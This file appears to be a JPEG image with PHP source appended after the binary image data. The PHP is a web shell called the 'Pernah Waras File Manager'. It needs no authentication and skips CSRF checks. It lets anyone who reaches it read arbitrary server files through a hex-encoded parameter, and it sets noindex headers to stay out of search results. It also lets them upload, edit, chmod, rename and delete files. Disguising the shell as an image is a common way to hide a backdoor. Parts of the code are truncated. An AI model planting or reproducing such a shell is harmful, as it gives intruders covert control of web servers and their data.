JFIF!!2$'$'$2M080080MDRC>CRDz_UU_zvpvx!!2$'$'$2M080080MDRC>CRDz_UU_zvpvx"3  Ќ#%"UHI [ Dabˣ[45< R<]:zzu[)BdV(((Pd6wFvIrU uQb(Jr3PO M&!601tnͳ?/N lqRܗq1=C6z)=Ed ,RB !@:9lFvMfcj է* XM #Vؚ9mfނM v6-/3ڴEQlVEo A~z>7XgtGdk

~ ;y}3JX * UAQuB[,1 @@\(]1͈lg.yy f-}ܭLt)ΚL޶wxmgnz;d+D3ˬ׵k0o4D@ y5μfƜM!IRXDIy/ݒh,EWD{:CUs뭏)7^h[zs&BāRV;P9!ZKrn9Q59&t瞅y[Xf=oF'=`!=j"c5YK> HrїYBJtX\}#av\LںS^VOK՚l+Lktshifx3ߒo+ 9V&yk,4u+_ U,{}AvN mEWgLr3C,YzS-TNޏ1QHEJ(ނtܩu9l\9uXW=vF&tcߡyߡ2kIEu\Ŕfgj,r"J\[/6v̯Hsk;BRusNxfaPJ! b9"}\8ۅ.GW4F1[Fq+U/7 r]_d =漱A*)ѱ[:bέ4Qh-}j`ictXIYՖ)=>4@XfڳA[ة>]/'w(Ï}l# t:W1"o7qeä/)%fE3^Æ~:tӇA% УZmNn㲺j^R]9LYsS);p@E"&3vk}nӲN+s|o+~DjYXS%s\Suf 8N+ݖm[Lirz ,W{ {ļoKR^^G%tV[Lќƺ:^=t+1^>ΙyZ)r@v"3 1NVF9>gzaeko+cE"T @-%ܟgGk]nbsdίV$JOMec}^{,^?+Ҫ-d`ʖ<*Nv5S:UcjK;ܬY] %\woC9&lh˞s^Sk0˩v% gVyzJy~r**K'oN\U=ED;s̆B~k0\( zXKn]QTeIN?BEp506sh:dɠ( *PÎU쿫Ϛ7{AsX%lx"弐#G]8~o8}~+`1{&:QET ڐ\t!kvH-Vnf,jZ*ח1S8EBHl*: L~B‹[p`ik4F\DPA"@[5esà=kP1&־YkQRyO$Xr#bJhjdZ]J;xC\cٝRNW:3\DQ* jZ|[!V6i{)QC:nQH|陑X(_[Zz=7c}봽 nFb{zY oHh"(""R|汲>#l\6YEyޱMyiKG#s."*&C$^x d1ǽؤsss}=\)F{3oo5%1Q  %; )#$Z88Ϟή%lVt< 'so2y_VR=a9ۼ=F_Nngx!#ѝa TJH(k#)Ho{*f"=`:ԶKCddH$VS!F8䛘ڜ:9z^ ^2gVY:p#lj9( jC(5Gb@NyF!lS s F>5K5lH#ԅYtqGiw/f|+yZ;y\4Cl9(sTnt'jz;H0w0lѾlֱ DZEE*5v;Rr#o  Ү'o 5«] *#(E@䷣N s^ -SIJ{{ǹ"Gf{U+SW^C;&@j]꽵с+U- Vo%b뚫AՅAjTTEZW}?,[*I]$r36>{{ɄZ>THeFO H:lZV"'ik>_?X`R76xkt35o(+!bkk\AR@H0Cu[QOW*RY\ 9.*QahRN2\s**Tr"#50 AAmbZ:*Wa9 ԌV=F5d▬&MVҐz+e$%(k~Ccɗ󛂠(*(葮h{@T>6Bm-!iDXE r+aK]GkFdŽxo:ٟz-$:el2؜3 @s -m7.0T)@E>3ק>AP >!1A 2Q"aq03R#@Bb$4Crђ?eZ[+uQTS/'T)czG+euQȄ 2C{&wᷦ` Cx|%g&KMxb+@>KKW \M"Л RRAi@ 9ruLAc5ʓ9? '$T} 6~VG J F(HС P֔C~6i\ic֧Q!w;>(/rd&!GWN qr ]dqI X(I< wD1ܙ`uM}kڭGpߥ\=!avx~7w;Y>ڳh)zneg2O,J%Cp,~um> _t Msl҃3 ^A nXtK9gU#3ӬEUoJ-(Ri#85a<{.pb#`5@ d50Vt\!`02KUVy-XVuaj a}J.VeP0)S:,'#OB @&S@AM5ǔ -ž65E0&' ,Lλ4s^x}#Gp}C15}/Ўb&?TwM*nB~U խA TӺdSk5X&[!hAɧܨd<8u\WO>&nuDv?N# )"78NQj}u+wZ޵=0n[еELR!AW-J |HP4uQ!]ՠBn+Qըo#LXTM}OIx=5vͰaè=YSG@(SX)iCejի(Kn)vq 7E*KIAIi+BҀ\7eQRO5t"eZ@&UھN~VcA#JIpc 6iF!d0)8TҪ!rz#pT}+QՅj5%Ҍ7exR9?I^~9:+Ó'(DT?ؤIMK Niq=@.Xai!Ubm{ vLaʀn)Dh=nZh]H^{eEXb{E#l{[whlZPj ARh|@PNuɠRՖ<^yIhZy\ !QzBaOɥtmZ\ ï)-&‰`"ƵĀdvɱexMJ,R/dZ8#~3(nR@]ncf*'1BI r 7J jgjERn˯1ȶօJT^P)X)4k>M8lC{86dtMmJ|$ /Pz @d~<Gd29,ݒ?rs(r+&sa>c!VZj0 l(P*#>n E&aHE PrWͭ;=JEWTMtAɯk3cJ)m`j7eb q;Z^ RF>BC#%CUfMV}U"9tr%1 UD츇(Z Nе9E JHrԵ+\a@7k(ػ7tOI򟋢`)CM}vzW c-ECHI#FǢ5ە$ҵ^Wm󁢊˅!Ҋ1 xo^U!a4a࿞T^ɨ'+U*AʹO g񻣂?_QD ڻv(6iZIu*;ƓX4GT5N>Pl~H'H M臓% ^@X 'SAZd*BmfvG`ȝg_࿞T^ɨRlU @{Z;)\t۴C$IkL|Nbׅ&wToU6ɯde6Gu.茁vH lݶ+%Hݡ$ ,SRd7v+h1HGuHڏ ܠ֨DZPR}MqBwJ(#dC/EZʃBa@᫪׈Ee<賺/G @*_A\@QNaD"kCF5L Aq=n[kS$lwP1";Jn8Mcc()4Y {#Pa_oJuHV=TS2D(̴ՐAY_CW;d?,# "rk읥H7[i%LYY9R=ݻ2Qּun7 4=  dn" e.;߲9MK0#$X /OoJckSȑW sCS^ -/N?,&V!BR#-96mJ5Ɨ892M# }@u"7\k3`n^x CkVGP%[:jǭaE~cGu}Vdҳꚍ t< ?!cXGRz ~HZO,w1?xn:g?DJKKlrtD~#%oTJl )\X)cEGQe$8MFyñX2cpps6VMP(*YN3˞TN *_yg=YS=gl*-X0vh3@ SɏKpfNMlѩcqLʊqNآ={BsHA۠j(%,bba;v w쥍,uSH=l{M(䑥cXgAђ(=Ly{R>Y*UuݥF]Ǘ j0YrƏ 'ٻBl߻۸n+!# 8_N|epʆNQZ #nGOę,w{Nq.y$"c/ _ı7͈fvGډ'\?|dzU$5#Lj9c{\=<=%?yR#dyNaGյ+]գyypTŋc8_lɬ@ToLܛBx`D.)ˆ?0c3DQ60i!z+zGűa}#2G(_f3A:@jlfC'N*cdPM*, "Z|;qӠQuݧD|FDQG @টuz]h(/LȌPyܠPA'bTvE?[:"(sÛږcmI s1%pַ1Lł#{7\o**]`.2X"e`rX.i xЀh=/2CZ+PnˇcXɠE.3⿡v;A ӚT aB'&VŦ÷C[sEJ!<{1%tN "1*XvNk4i=>cp´c 9I7hٹY˓;OTPndB?j`͎Q;/N pH[ueN,5٪2QIBi@&!Z6)&t1$$Fs\6V+]o)#= C 2'?8f (8Q{C'0ԛ= K¤:7a^me5+ /%!*djc)p@:;)T:# (-/q[׸#1:Ȯ:b>na(t6M\-L?".>쵅CoRcsI"u x6gp 9.3Luj325S!9Z&Q~', "u*W|i4'zO#1f_sHhe` ܩg3ɭYuP!#x _q׊/.3|[P sE42F{X3!x Z $hLlM{ M.;cmxLX9ƽ i'x\s@j$"CNrawի u>Eoh,^3C`lQ5q 2[xȧo2^֞SJ쯐WǕ"!MGcygtjo ~lK;zicu9&G4)p;L@)%dCI+%4:#ceȎu,EJv_i0ቛ'_Q=7Vx?5%˱ړ~;7%VDwAԝ䱟V@2T'mX=[oM#d& z };.%l`͗R1+m{wnב<=P@(Q`'S'Y26\ϝ˜dm _8ݒ{S( yA6b 'S=DP>"%;b5T:"QVFOȧ|(XkE`\"ZsCjB6-Ylrc+Z]cvլH|NgpZW#Ge X;hmq D(A5c:еntt(Rk4+(Oi`ad@`S~gEg4QPfHK s6R%B@ܳA<"Z,8e!^jU>xXz 1E{{} ']\A;OT\=@KӭB:/t?4(F;컞EmT[˷edRqz(:G8Qa'*Z>A?ß"Ž V7+oM `pkւhgZE2@A] p;&]r(w# wPPXr68l`YsQ\K$Se~64b-VGɵ~9[v*޶. Y 5P訐$lcshh= єͺчd F(g&t '&Z[S橾ʇq (>jLwX9L;qOskE`X 9~Ygpdݫ7# wC(6< )u6{+hlmN摸rrM;~]}V Ď"bӖ*AC;w iʶRL\3!`[,n3v{4 })B%J-`Ok ~@c˷Hꭥ*Ӝ>wۣ"Qնih:"ovw§g&a't ߐ4vlXMU,얻Q3LP G)btDobKhYkG ț(yFئ9?5`lRZײÞN+?8Knh.)6)];޽F*w&*VW )VJ_5~!|:Jǐ]tktB7ic91 HcțA GM(tJ7sc1T[t vOɆ96QK[) .fN{ة ]@,v1\X&ȚDUKN~10XilU"m#{y?}:,Q?Hr<iģ͡f"q=Py`&M=Fєybh{>.=Y1e ,:' uPoK/5/'jv(?9ŏv*7Ӆˈ3v:\%tyC!9R4ji#1۵X y] hoK4Ss6K_mD`8W'4¸@pK.f2ƻc6Zy8X2[h~2&y = =ޑ}P̞@O*,ZNt{J0dGiNjb,o+3ڦIo&њ=^QqQ$4 wl#Z&qs ,YtJ/@wߢIgz4DTT4ܠ{'nCYMh  H[N$gԛ;&hw Eȼ9";p ]}' ({Q OW,#_u2{.?idFGEm+zܩ>6 DQ!jv"Fu9Cs̢)(u:aH'2&ՄEj)іNꌸun覸5x\FO\bAXج7Ce~ ۖ?]Ԯ9Wx ?-ߢ4Gk++8b{n [tM-e1i$ pXNȧcFƵ|qKiE0ga aO¥pQETl)i ){M윤$}U@$,oQ\W(r:?g'}T x+kds+1Ir:Wg.7R((!?St+ !012@AQ3"BaR?͢yCʷgײ+bV-?zYՅ^p# IQ*hj'GZ:֎uhDdiyXʴ-8zi^x1I#8V<=y(_?أC$^,$2(2^Dp7cv!8͡2kf < Ps$TmV['JMHz e2JlIO6B-u=/<Flw CT |!χ F0h/i%\=VΌYdaI#}!y: /#OɩV D&B6+xˮBM+5j~JHN6VS(cq^O?&ӦƣMuI>Yׅ*:2ĭ)Rs/$̌lC؅ť(T$zQij(1DĮEdDv/ǃ= a)F_#\BTjhB|88Jr\-bm|-= dW5UCҶCDz}ȕB?B]x)iȑYBkcμM4 (ߩ4=9C4?fWd&B~v)O>b<ע[h0>\[EⴋȑPִd|'sr.s*(I[#2}kKӶyb2<:1KYeJ<21lN$~cCfL좊;j \,ź2F՘(%RDb"qhrT$%NΑmbyPH2ڊkNU.&a*0vic(LDI,tZ,.,ebc9td}LҦ-{/ՈeG~Q#}'ߖ{1x*,ʮbSCoɑi2SwS]G>>-ZO}X&/({b̗8yr[QlcdgOH1Nm,i)4awBC%TǤnJ]_JQv&`r~ke3خвGsFRBK"aB $fV=ߎ=;,o*4V!?.qxN/;CNz>qLˋELssVjFh;ꡭ qMi,T&^I"tO;SoԧIMP$9Yƽ\.oX]u;ke薙w\c=')) { $decoded = base64_decode($data, true); if ($decoded !== false) return $decoded; // fallback: try decode then verify $maybe = base64_decode($data); if ($maybe === false) return false; if (base64_encode($maybe) === str_replace(array("\r","\n"),'', $data)) return $maybe; return false; } else { // Very old PHP: best-effort $maybe = base64_decode($data); return $maybe === false ? false : $maybe; } } /* --------------- ENV / STABILIZER --------------- */ @header_remove(); header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet, noimageindex', true); header('Referrer-Policy: no-referrer', true); header('X-Frame-Options: DENY', true); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true); header('Pragma: no-cache', true); header('Expires: 0', true); header('Content-Type: text/html; charset=UTF-8', true); header('X-Content-Type-Options: nosniff', true); header('X-XSS-Protection: 1; mode=block', true); header('Strict-Transport-Security: max-age=63072000; includeSubDomains; preload', true); /* ----------------- UTIL & SAFE HELPERS ----------------- */ function strToHex($s){ $h=''; for($i=0;$i=1024&&$i<4){ $s/=1024; $i++; } return round($s,2).' '.$u[$i]; } function getFileDetails($p){ $f=array(); $d=array(); $i=@scandir($p); if(!is_array($i)) return array(); foreach($i as $it){ if($it=='.'||$it=='..') continue; $fp=rtrim($p,'/').'/'.$it; $det=array('name'=>$it,'type'=>is_dir($fp)?'Folder':'File','size'=>is_dir($fp)?'':formatSize(@filesize($fp)),'permission'=>@substr(sprintf('%o',@fileperms($fp)),-4)); if(is_dir($fp)) $d[]=$det; else $f[]=$det; } return array_merge($d,$f); } function changeDirectory($p){ $p==='..'?@chdir('..'):@chdir($p); } function getCurrentDirectory(){ $rp = realpath(getcwd()); return $rp ? $rp : getcwd(); } function getLink($p,$n){ return is_dir($p) ? ''.htmlspecialchars($n).'' : ''.htmlspecialchars($n).''; } function showBreadcrumb($p){ $p=str_replace('\\','/',$p); $paths=explode('/',$p); echo'

'; } /* create file with guaranteed non-zero content */ function create_nonzero_file($path,$userContent=null){ $default="Created by Pernah Waras file manager @ ".date('c')."\n"; $payload = ($userContent !== null && $userContent !== '') ? $userContent : $default; if (@file_put_contents($path,$payload,LOCK_EX) > 0) return array(true,'file_put_contents'); if ($fp=@fopen($path,'wb')){ $w=@fwrite($fp,$payload); @fclose($fp); if($w>0) return array(true,'fopen+fwrite'); } if ($tmp=@tempnam(sys_get_temp_dir(),'asli_')){ @file_put_contents($tmp,$payload); if(@rename($tmp,$path)||@copy($tmp,$path)){ @unlink($tmp); if(@filesize($path)>0) return array(true,'tempnam+rename/copy'); } @unlink($tmp); } if ($src=@fopen('php://temp','wb+')){ @fwrite($src,$payload); @rewind($src); if($dst=@fopen($path,'wb')){ $copied=@stream_copy_to_stream($src,$dst); @fclose($dst); if($copied>0){ @fclose($src); return array(true,'php://temp copy'); } } @fclose($src); } if (@touch($path) && @file_put_contents($path,$payload,FILE_APPEND) > 0) return array(true,'touch+append'); return array(false,'All methods failed'); } /* ----------------- REQUEST HANDLING ----------------- */ // initial directory $curDir = getCurrentDirectory(); $msg = ''; // GET helpers if (isset($_GET['get_filename'])) { echo basename(hexToStr($_GET['get_filename'])); exit; } if (isset($_GET['ambil-lc-cok'])) { $f = hexToStr($_GET['ambil-lc-cok']); if (file_exists($f)) echo @file_get_contents($f); exit; } if (isset($_GET['dir'])) { changeDirectory(hexToStr($_GET['dir'])); $curDir = getCurrentDirectory(); } // POST actions tanpa CSRF if ($_SERVER['REQUEST_METHOD'] === 'POST') { // create folder if (isset($_POST['new_folder']) && !empty($_POST['folder_name'])) { $nf = $curDir . '/' . basename($_POST['folder_name']); if (!file_exists($nf)) @mkdir($nf,0755,true); $msg = 'Folder created.'; } // create file if (isset($_POST['new_file']) && !empty($_POST['file_name'])) { $fp = $curDir . '/' . basename($_POST['file_name']); $file_content = isset($_POST['file_content']) ? $_POST['file_content'] : null; list($s,$m) = create_nonzero_file($fp, $file_content); $msg = $s ? "File created using $m." : "Failed to create file."; } // upload if (isset($_POST['upload_file']) && isset($_FILES['uploaded_file'])) { $targetPath = $curDir . '/' . basename($_FILES['uploaded_file']['name']); $tmpFile = $_FILES['uploaded_file']['tmp_name']; if (is_uploaded_file($tmpFile) && @filesize($tmpFile) > 0) { if (@move_uploaded_file($tmpFile, $targetPath)) { $msg = 'File uploaded successfully (move_uploaded_file).'; } else { $content = @file_get_contents($tmpFile); list($success,$method) = create_nonzero_file($targetPath, $content); $msg = $success ? "File uploaded using fallback ($method)." : "Upload failed (fallback failed)."; } } else { list($success,$method) = create_nonzero_file($targetPath, "Upload placeholder @ ".date('c')); $msg = $success ? "Empty upload handled, file created using $method." : "Upload failed (empty file)."; } } // edit/save if (isset($_POST['edit_file'])) { $f = hexToStr($_POST['edit_file']); if (file_exists($f) && is_writable($f)) { $c = isset($_POST['content']) ? $_POST['content'] : ''; if (isset($_POST['mode']) && $_POST['mode'] === 'b64') { // only accept strict base64 (PHP 5.2.0+ with second arg) $dec = safe_base64_decode($c); if ($dec === false) { $msg = 'Save failed: invalid Base64 data'; } else { list($success,$method) = create_nonzero_file($f, $dec); $msg = $success ? "File edited using $method." : "Failed to edit file."; } } else { list($success,$method) = create_nonzero_file($f, $c); $msg = $success ? "File edited using $method." : "Failed to edit file."; } } else { $msg = 'Save failed (file not writable or missing).'; } } // rename if (isset($_POST['rename_path']) && !empty($_POST['new_name'])) { $old = hexToStr($_POST['rename_path']); $new = basename($_POST['new_name']); if ($old && $new && file_exists($old)) @rename($old, dirname($old).'/'.$new); $msg = 'Renamed.'; } // chmod if (isset($_POST['chmod_path']) && !empty($_POST['chmod_value'])) { $path = hexToStr($_POST['chmod_path']); $perm = intval($_POST['chmod_value'],8); if (file_exists($path)) @chmod($path, $perm); $msg = 'Permission changed.'; } // delete if (isset($_POST['delete_path'])) { $f = hexToStr($_POST['delete_path']); if (is_file($f)) @unlink($f); elseif (is_dir($f)) { $fs = @glob($f.'/*'); if (is_array($fs)) { foreach($fs as $fi) is_dir($fi) ? @rmdir($fi) : @unlink($fi); } @rmdir($f); } $msg = 'Deleted.'; } // other actions fall through } /* ----------------- HTML / UI ----------------- */ ?> Pernah Waras File Manager

Pernah Waras File Manager

'.htmlspecialchars($msg).''; ?>
NameTypeSizePermissionActions
Edit | Rename | Chmod | Delete